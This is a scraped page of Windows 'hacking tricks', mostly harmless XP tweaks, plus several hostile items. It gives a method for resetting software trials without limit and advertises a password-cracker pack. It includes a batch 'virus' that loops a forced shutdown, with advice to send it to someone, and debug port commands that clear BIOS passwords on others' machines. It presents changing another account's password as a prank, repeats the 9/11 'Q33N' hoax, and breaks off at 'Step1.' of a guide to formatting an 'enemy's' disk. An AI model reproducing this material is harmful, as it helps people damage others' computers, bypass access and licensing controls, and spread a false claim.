Use evaluation version softwares unlimited number of days/times

This trick works for each and every software. But this trick is not known by many. Be proud that you will be learning it after reading this article

Procedure
1)Download and install Zsoft Uninstaller(Freeware-Just 931 KB) from http://www.zsoft.dk
2)Before installing the evaluation version software, open Zsoft Uninstaller
3)Click on “Analyze”–>Click “Next”
4)Select all the drives (Actually the drive on which you are going to install the software and the system drive is only needed, But it is better to select all the drives)
5)Click on “Before Installation”
6)Wait for the process to complete. After competion, close Zsoft Uninstaller
7)Now install the required evaluation version software
8)After installing Restart ur PC
9)Launch the installed application
10)Do the primary steps like managing the settings (Not necessary)
11)Close the application
12)Launch Zsoft Uninstaller
13)Click on “Analyze”
14)Choose “Finish an analysis that has already been started”
15)Click “After installation”
16)Wait for the process to complete
17)Give the name of the software in the Message Box
18)Press Ok
19)Its all done now

20)Now when your trial version expires, Open Zsoft Uninstaller
21)Click on “Analyze”
22)Choose “Uninstall a previously analysed program”
23)Choose the software to Uninstall
24)Select all 5 boxes and Press “Uninstall”
25)Now the software has been completely unistalled
26)Reinstall the software as told above
27)Enjoy!!!!!!!!!


Limitations

1)This trick will not work if you have once installed that evaluation version software once in your PC after the last formatting of your Windows drive
Please read the theory below to know why it is so.

For all other cases, this trick will work 100% sure.

Theory
When an Trial version software is installed in a PC it stores information about the installation date, time etc on the PC. This is to done to make it a time limited demo version. Some softwares also stores data regarding number of time the software is used.
These data may be stored in
1)Registry
2)Installation Folder
3)System Folder
4)Application Data
or any other folder

Most of these stored data are encrypted and hence we wont be able to identify them.
If we uninstall these softwares using the default method, these stored data will not be deleted so that the user cannot extend the trial period of that software by reinstlaiing the software

When you install the software using the above method, Zsoft Uninstaller analyses each and every change made to the complete PC. When you uninstall the installed software using this method, all the data stored will be completely deleted.
When you reinstall the software, the installer of the software will feel that this is the first time , this software is being installed on that PC

You may use other softwares like system mechanic instead of Zsoft Uninstaller. I recomended it becouse it is a freeware and the download size is also very very small.

How to Change Password on Windows without Original Password

Here is a little guide that I have made which teaches you how to change the password of any account on the computer you are currently using without knowing the original password. This is useful for many occasions such as if you forget the password to your primary account on your computer but still have access to another 0ne or if you simply want to prank your family members. 

This has been tested on both Windows XP and Windows 7.

For this to work you must have access to another account because you have to use Command Prompt or CMD to change the password.

Here is how to do it:
Open Command Prompt (CMD) by going to Start -> Run -> cmd.exe
Type in ‘net users’. This will show you a list of all the accounts on the computer. This is just to check and make sure you know the EXACT username of the account you want to change the password for.
Next, you need to type in ‘net user (whatevertheusernameis) *


Next you shall get a prompt asking you for the new password:



Finally it shall ask you to repeat the new password, click enter and BAM, you have now changed the password without knowing the original one

Passsword crackers ALL IN ONE

This password cracking pack includes 6 different crackers used for :
* Asteric Logger
* Dial-Up Password
* IM Passwords
* Mail Client Passwords
* Network Password
* Protected Storage Passwords

System information


system up time only for xp professional edition
It boasts how long it can stay up. Whereas previous
versions of Windows were coy about how long they went
between boots, XP is positively proud of its stamina.
Go to the Command Prompt in the Accessories menu from
the All Programs start button option, and then type
'systeminfo'. The computer will produce a lot of
useful info, including the uptime. If you want to keep
these, type 'systeminfo > info.txt'. This creates a
file called info.txt you can look at later with
Notepad. (Professional Edition only).


lock pc just by double clicking mouse

You can lock your XP workstation with two clicks of
the mouse. Create a new shortcut on your desktop using
a right mouse click, and enter 'rundll32.exe
user32.dll,LockWorkStation' in the location field.
Give the shortcut a name you like. That's it -- just
double click on it and your computer will be locked.
And if that's not easy enough, Windows key + L will do
the same.



SPEED UP UR ACROBAT READER (ALMOST LIKE NOTEPAD)


Do u get irritated when acrobat reader takes 5/10 seconds to load when you want to open a pdf document. There is a way to speed up the loading.

1. Go to the installation folder of acrobat reader
(C:\program files\adobe\acrobat\reader\.. whatever)

2. Move all the files and folders from the "plugins" directory to the "Optional" directory. (I repeat.. cut and paste the files NOT copy & paste).

Also make sure that acrobat reader is not open else it will lock the files and not allow you to move the files).

Now your acrobat reader will load very fast
and almost as good as notepad..


Remove Stored username and Passwords !

To remove the Stored User Names and Passwords from your system, try this:
Click Start, Run and type Control keymgr.dll
Remove the entries from the list.
The other ways to access this dialog are:
Type Control Userpasswords2 in RUN box, click Advanced, Manage Passwords
-or-
From Control Panel, select your User Account, click Manage your network passwords

It Works

~ Cheers ~

Remove the Username and picture from Windows XP New Start Menu

The User account picture can be removed by turning off the Welcome Screen. Or, by switching to Windows Classic theme. Follow the method described in this article if you want to remove the username and picture from the Start Menu, without disabling the Welcome Screen and Windows XP Theme.

For those who want to remove the user name and user account picture from Start Menu, in order to have a blank blue panel at the top, try this:
Start Windows Explorer and go to this folder:

C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures

From that folder, rename the BMP file which corresponds to your user account.
( For example, if your username is Robert, rename Robert.bmp to old_Robert.bmp )
Next, rename the following folder:

C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures\Default Pictures

to something else, say...

C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures\No_Default Pictures
To remove the user name, follow these steps

Start regedit.exe and navigate to the this key:

HKEY_CURRENT_USER \ Software \ Microsoft\ Windows \ CurrentVersion \ Policies \ Explorer
In the right-pane, set NoUserNameInStartMenu value-data to 1

Close Regedit.exe and restart Windows.

You'll end up with a blue space at the top of the Start Menu.



To get back the username and the picture, reverse the above procedure.



For the New Start Menu, Windows XP looks for the .bmp file in the folder

C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures

If the file is not found, it takes a picture from the "Default Pictures" sub-folder. By renaming the .bmp and the "Default Pictures" folder, you're giving no chance for Windows to fetch an image for the Start Menu

~ Cheers ~.

NOTEPAD "world trade centre trick".. :Rahul


Did you know that the flight number of the plane that had hit WTC ...on
9/11 was Q33N ....Open your Notepad in ur computer and type the flight
number i.e Q33N... Increase the Font Size to 72, Change the Font to
Wingdings. U will be amazed by the findings.

log trick !! make ur Notepad a diary !!

Sometimes we want to insert current data and time, whenever we open the file in the notepad. If you are a lazy person like me, who don’t like to press F5 whenever you open a notepad. Then here is a trick to avoid this. Just add a .LOG in the first line of your text file and close it.
Whenever you open the file with that text in the first line in the notepad, it will insert the current date and time at the end of the file. You can start entering your text after that.

WHY?

The reason this happens:

In notepad, any other 4-3-3-5 letter word combo will have the same results.
It is all to do with a limitation in Windows. Text files containing Unicode UTF-16-encoded Unicode are supposed to start with a "Byte-Order Mark" (BOM), which is a two-byte flag that tells a reader how the following UTF-16 data is encoded.

1) You are saving to 8-bit Extended ASCII (Look at the Save As / Encoding format)
2) You are reading from 16-bit UNICODE (You guessed it, look at the Save As / Encoding format)
This is why the 18 8-bit characters are being displayed as 9 (obviously not supported by your codepage) 16-bit UNICODE characters

~ cheers ~


SPEED UP MENU DISPLAY.!!


When using the start menu the you will notice a delay between different tiers of the menu hierarchy. For the fastest computer experience possible I recommend changing this value to zero. This will allow the different tiers to appear instantly.

Start Regedit. If you are unfamiliar with regedit please refer to our FAQ on how to get started.

Navigate to HKEY_CURRENT_USER\Control Panel\Desktop
Select MenuShowDelay from the list on the right.

Right on it and select Modify.
Change the value to 0.
Reboot your computer.



CLICKING * .AVI FILES ON EXPLORER CAUSING 100% CPU USAGE.!!


Well windows seem to have a REALLY big problem when it comes to reading AVI files. It seems that when you click on an AVI file in explorer, it'll try to read the entire AVI file to determine the width,height, etc. of the AVI file (this is displayed in the Properties window). Now the problem with Windows is that if you have a broken/not fully downloaded AVI file that doesnt contain this info, Windows will scan the entire AVI file trying to figure out all these properties which in the process will probably cause 100% CPU usage and heavy memory usage. To solve this problem all you have to do is the following:
1. Open up regedit
2. Goto HKEY_CLASSES_ROOT\SystemFileAssociations\.avi\shellex\PropertyHandler
3. Delete the "Default" value which should be "{87D62D94-71B3-4b9a-9489-5FE6850DC73E}"
Voila! Please not that this will no longer provide you with the windows properties displaying the AVI file information such as width, height, bitrate etc. But its a small price to pay for saving you resources.
NOTE: Please use caution when using regedit. Improper usage may cause windows to behave imcorrectly. Also, I cannot be held resposible. Backup your registry first.

CD ROM STOPS AUTOPLAYING/AUTORUN.!!


And the AutoPlay Tab has disappeared in My Computer, Devices With Removable Storage, Right Click on CDROM, Properties.
Solution: The service: "Shell Hardware Detection" has been set to Manual or Disabled. Go to Control Panel, Administrative Tools, Services. Return this service to "Automatic".

How to make your Desktop Icons Transparent

Go to Control Panel > System, > Advanced > Performance area > Settings button Visual Effects tab "Use drop shadows for icon labels on the Desktop"


DISPLAY MESSAGE ON STARTUP.


Start regedit, if you are unfamiliar with regedit please see our FAQ.
Navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
Modify the key legalnoticecaption with what you want to name the window.
Modify the key legalnoticetext with what you want the window to say. Restart


AUTO DELETE TEMPORARY FOLDER.!!

ll what i prefer is %temp% " without quotes.. at Start -> Run..
this opens ur temp folder n den u cal erase it neatly// still try dis one too..


First go into gpedit.msc
Next select -> Computer Configuration/Administrative Templates/Windows Components/Terminal Services/Temporary Folder
Then right click "Do Not Delete Temp Folder Upon Exit"
Go to properties and hit disable. Now next time Windows puts a temp file in that folder it will automatically delete it when its done! Note from Forum Admin: Remember, GPEDIT (Group Policy Editor) is only available in XP Pro.

Change text on xp start button!

How to change text on XP 'Start Button'? frnds u can change text on that start button & u can write ur own text write ur name or anything which u like to write on it.. Isn't a cool trick..

Follow the given below steps.

Step 1 - Modify Explorer.exe File

In order to make the changes, the file explorer.exe located at C:\Windows needs to be edited. Since explorer.exe is a binary file it requires a special editor. For purposes of this article I have used Resource Hacker. Resource HackerTM is a freeware utility to view, modify, rename, add, delete and extract resources in 32bit Windows executables and resource files (*.res). It incorporates an internal resource script compiler and decompiler and works on Microsoft Windows 95/98/ME, Windows NT, Windows 2000 and Windows XP operating systems.

get this from h**p://delphi.icm.edu.pl/ftp/tools/ResHack.zip

The first step is to make a backup copy of the file explorer.exe located at C:\Windows\explorer. Place it in a folder somewhere on your hard drive where it will be safe. Start Resource Hacker and open explorer.exe located at C:\Windows\explorer.exe.

The category we are going to be using is "String Table". Expand it by clicking the plus sign then navigate down to and expand string 37 followed by highlighting 1033. If you are using the Classic Layout rather than the XP Layout, use number 38. The right hand pane will display the stringtable. We’re going to modify item 578, currently showing the word “start” just as it displays on the current Start button.

There is no magic here. Just double click on the word “start” so that it’s highlighted, making sure the quotation marks are not part of the highlight. They need to remain in place, surrounding the new text that you’ll type. Go ahead and type your new entry. In my case I used Click Me!

You’ll notice that after the new text string has been entered the Compile Script button that was grayed out is now active. I won’t get into what’s involved in compiling a script, but suffice it to say it’s going to make this exercise worthwhile. Click Compile Script and then save the altered file using the Save As command on the File Menu. Do not use the Save command – Make sure to use the Save As command and choose a name for the file. Save the newly named file to C:\Windows.


Step 2 – Modify the Registry

!!!make a backup of your registry before making changes!!!

Now that the modified explorer.exe has been created it’s necessary to modify the registry so the file will be recognized when the user logs on to the system. If you don’t know how to access the registry I’m not sure this article is for you, but just in case it’s a temporary memory lapse, go to Start (soon to be something else) Run and type regedit in the Open field. Navigate to:

HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon

In the right pane, double click the "Shell" entry to open the Edit String dialog box. In Value data: line, enter the name that was used to save the modified explorer.exe file. Click OK.

Close Registry Editor and either log off the system and log back in, or reboot the entire system if that’s your preference. If all went as planned you should see your new Start button with the revised text.[/b]

Enjoy by keeping ur own text!!!!1

Create a deadly virus!!

How to create or make or write virus are most common question running in or mind if we are a new learner...This is very simple i have given u a small virus code which creates a highly effected virus.....


@echo
:virus
echo VIIIIIRRRRUUUUSSSS
shutdown -s -t 200 -c "YOU'RE ********ED"
goto virus


copy and paste the above code into word pad and save its as .bat file and send the file to whom ever u want

Actually if u save this file in word pad it saves as a .doc file but to save it as a .bat file u have to save it as "virus.bat" within double quotes instead of virus u can write any name..

How to crack windows

Learn here how to crack or hack windows manually, debug: Learn how to crack windows, programs act manually.....

Debug is a program that comes with modern versions of DOS (I do not know when I started shipping out with DOS). Anyway, all Windows users should have it already.

It's a great tool for debuging programs, unassembling and cracking, and reading "hidden" memory areas like the boot sector, and much more.

The following was copied from an assembly tutorial who's author we cannot credit, because we have no idea who he is.

Get into DOS and type "debug", you will get a prompt like this:
-

now type "?", you should get the following response:
assemble A [address]
compare C range address
dump D [range]
enter E address [list]
fill F range list
go G [=address] [addresses]
hex H value1 value2
input I port
load L [address] [drive] [firstsector] [number]
move M range address
name N [pathname] [arglist]
output O port byte
proceed P [=address] [number]
quit Q
register R [register]
search S range list
trace T [=address] [value]
unassemble U [range]
write W [address] [drive] [firstsector] [number]
allocate expanded memory XA [#pages]
deallocate expanded memory XD [handle]
map expanded memory pages XM [Lpage] [Ppage] [handle]
display expanded memory status XS

Lets go through each of these commands:
Assemble:

-a
107A:0100

At this point you can start assembling some programs, just like using a assembler. However the debug assembler is very limited as you will probably notice. Lets try to enter a simple program:

-a
107A:0100 MOV AH,02
107A:0102 MOV DL,41
107A:0104 INT 21
107A:0106 INT 20
-g
A

Program terminated normally

That's the same program we did at the end of the previous chapter. Notice how you run the program you just entered with "g", and also notice how the set-up part is not there? That's because debug is just too limited to support that.
Another thing you can do with assemble is specify the address at which you want to start, by default this is 0100 since that's where all .COM files start.
Compare:

Compare takes 2 block of memory and displays them side by side, byte for byte. Lets do an example. Quite out of debug if you haven't already using "q". Now type "debug c:\command.com"

-c 0100 l 8 0200
10A3:0100 7A 06 10A3:0200

This command compared offset 0100 with 0200 for a length of 8 bytes. Debug responded with the location that was DIFFERENT. If 2 locations were the same, debug would just omit them, if all are the same debug would simply return to the prompt without any response.
Dump:

Dump will dump a specified memory segment. To test it, code that assembly program again:

C:\>debug
-a
107A:0100 MOV AH,02
107A:0102 MOV DL,41
107A:0104 INT 21
107A:0106 INT 20
-d 0100 l 8
107A:0100 B4 02 B2 41 CD 21 CD 20
...A.!.

The "B4 02 B2 41 CD 21 CD 20" is the program you just made in machine language.

B4 02 = MOV AH,02
B2 41 = MOV DL,41
CD 21 = INT 21
CD 20 = INT 20

The "...A.!." part is your program in ASCII. The "." represent non-printable characters. Notice the A in there.
Enter:

This is one of the hard commands. With it you can enter/change certain memory areas. Lets change our program so that it prints a B instead of an A.
-e 0103 <-- edit program at segment 0103 107A:0103 41.42 <-- change 41 to 42 -g B Program terminated normally - Wasn't that amazing? Fill: This command is fairly useless, but who knows.... It fills the specified amount of memory with the specified data. Lets for example clear out all memory from segment 0100 to 0108, which happens to be our program. -f 0100 l 8 0 <-- file offset 0100 for a length of 8 bytes with 0 -d 0100 l 8 <-- verify that it worked 107A:0100 00 00 00 00 00 00 00 00 ....... Yep, it worked. Go: So far we used go (g) to start the program we just created. But Go can be used for much more. For example, lets say we want to execute a program at 107B:0100: -r CS <-- set the CS register to point to 107B CS 107A :107B -g =100 You can also set breakpoints. -a <-- enter our original program so we have something 107A:0100 MOV AH,02 to work with 107A:0102 MOV DL,41 107A:0104 INT 21 107A:0106 INT 20 -g 102 <-- set up a break point at 107A:0102 At this point the program will stop, display all registers and the current instruction. Hex: This can be very useful. It subtracts and adds two hexadecimal values: -h 2 1 0003 0001 <-- 2h + 1+ = 3h and 2h - 1h = 1h This is very useful for calculating a programs length, as you will see later. Input: This is one of the more advanced commands, and I decided not to talk about it too much for now. It will read a byte of data from any of your computers I/O ports (keyboard, mouse, printer, etc). -i 3FD 60 - Your data may be different. In case you want to know, 3FD is Com port 1, also known as First Asynchronous Adapter. Load: This command has 2 formats. It can be used to load the filename specified with the name command (n), or it can load a specific sector. -n c:\command.com -l This will load command.com into debug. When a valid program is loaded all registers will be set up and ready to execute the program. The other method is a bit more complicated, but potential also more usefull. The syntax is L

-l 100 2 10 20

This will load starting at offset 0100 from drive C (0 = A, 1 = B, 2 = C, etc), sector 10h for 20h sectors. This can be useful for recovering files you deleted.
Move:

Move takes a byte from the starting address and moves it to the destination address. This is very good to temporary move data into a free area, than manipulate it without having to worry about affecting the original program. It is especially useful if used in conjunction with the r command to which I will get later. Lets try an example:
-a <-- enter our original program so we have something 107A:0100 MOV AH,02 to work with 107A:0102 MOV DL,41 107A:0104 INT 21 107A:0106 INT 20 -m 107A:0100 L 8 107B:0100 <-- more 8 bytes starting from 107A:0100 into 107B:0100 -e 107B:0103 <-- edit 107B:0103 107B:0103 41.42 <-- and change it 42 ( -d 107A:0100 L 8 <-- make sure it worked 107A:0100 B4 02 B2 41 CD 21 CD 20 ...A.!. -d 107B:0100 L 8 107A:0100 B4 02 B2 42 CD 21 CD 20 ...B.!. -m 107B:0100 L 8 107A:0100 <-- restore the original program since we like the changes. Name: This will set debug up with a filename to use for I/O commands. You have to include the file extension, and you may use addition commands: -n c:\command.com Output: Exactly what you think it is. Output sends stuff to an I/O port. If you have an external modem with those cool lights on it, you can test this out. Find out what port your modem is on and use the corresponding hex number below: Com 1 = 3F8 - 3FF (3DF for mine) Com 2 = 2F8 - 2FF Com 3 = ??? - ??? (if someone knows, please let me know) Now turn on the DTA (Data Terminal Ready) bit by sending 01h to it: -o XXX 1 <-- XXX is the com port in hex As soon as you hit enter, take a look at your modem, you should see a light light up. You can have even more fun with the output command. Say someone put one of those BIOS passwords on "your" computer. Usually you'd have to take out the battery to get rid of it, but not anymore: MI/AWARD BIOS -o 70 17 -o 71 17 QPHOENIX BIOS -o 70 FF -o 71 17 QGENERIC -o 70 2E -o 71 FF These commands will clear the BIOS memory, thus disabling the password. Proceed: Proceeds in the execution of a program, usually used together withy Trace, which I will cover later. Like the go command, you can specify an address from which to start using =address -p 2 Debug will respond with the registers and the current command to be executed. Quite: This has got to be the most advanced feature of debug, it exits debug! -q Register: This command can be used to display the current value of all registers, or to manually set them. This is very useful for writing files as you will see later on. -r AX AX: 011B :5 - Search: Another very useful command. It is used to find the occurrence of a specific byte, or series of bytes in a segment. The data to search for can by either characters, or a hex value. Hex values are entered with a space or comma in between them, and characters are enclosed with quotes (single or double). You can also search for hex and characters with the same string: -n c:\command.com <-- load command.com so we have some data to search in -l -s 0 l 0 "MS-DOS" <-- search entire memory block for "MS-DOS" 10A3:39E9 <-- found the string in 10A3:39E9 NOTE: the search is case sensitive! Trace: This is a truly great feature of debug. It will trace through a program one instruction at a time, displaying the instruction and registers after each. Like the go command you can specify where to start executing from, and for how long. -a <-- yes, this thing again 107A:0100 MOV AH,02 107A:0102 MOV DL,41 107A:0104 INT 21 107A:0106 INT 20 -t =0100 8 If you leave out the amount of instructions that you want to trace, you can use the proceed (p) to continue the execution as long as you want. Unassemble: Unassembles a block of code. Great for debugging (and cracking) -u 100 L 8 <-- unassembles 8 bytes starting at offset 100 107A:0100 MOV AH,02 <-- debut's response 107A:0102 MOV DL,41 107A:0104 INT 21 107A:0106 INT 20 Write: This command works very similar to Load. It also has 2 ways it can operate: using name, and by specifying an exact location. Refer to back to Load for more information. NOTE: The register CX must be set the file size in order to write! NOTE: Write will not write .EXE or .HEX files.[SIZE=7][SIZE=14]

Format your enemy's hard disk!

How to format hard disk?? It is very easy to format hard disk (with a file) of a person whom you don't like or u hate the most ..
just follow the given steps..
Step1.
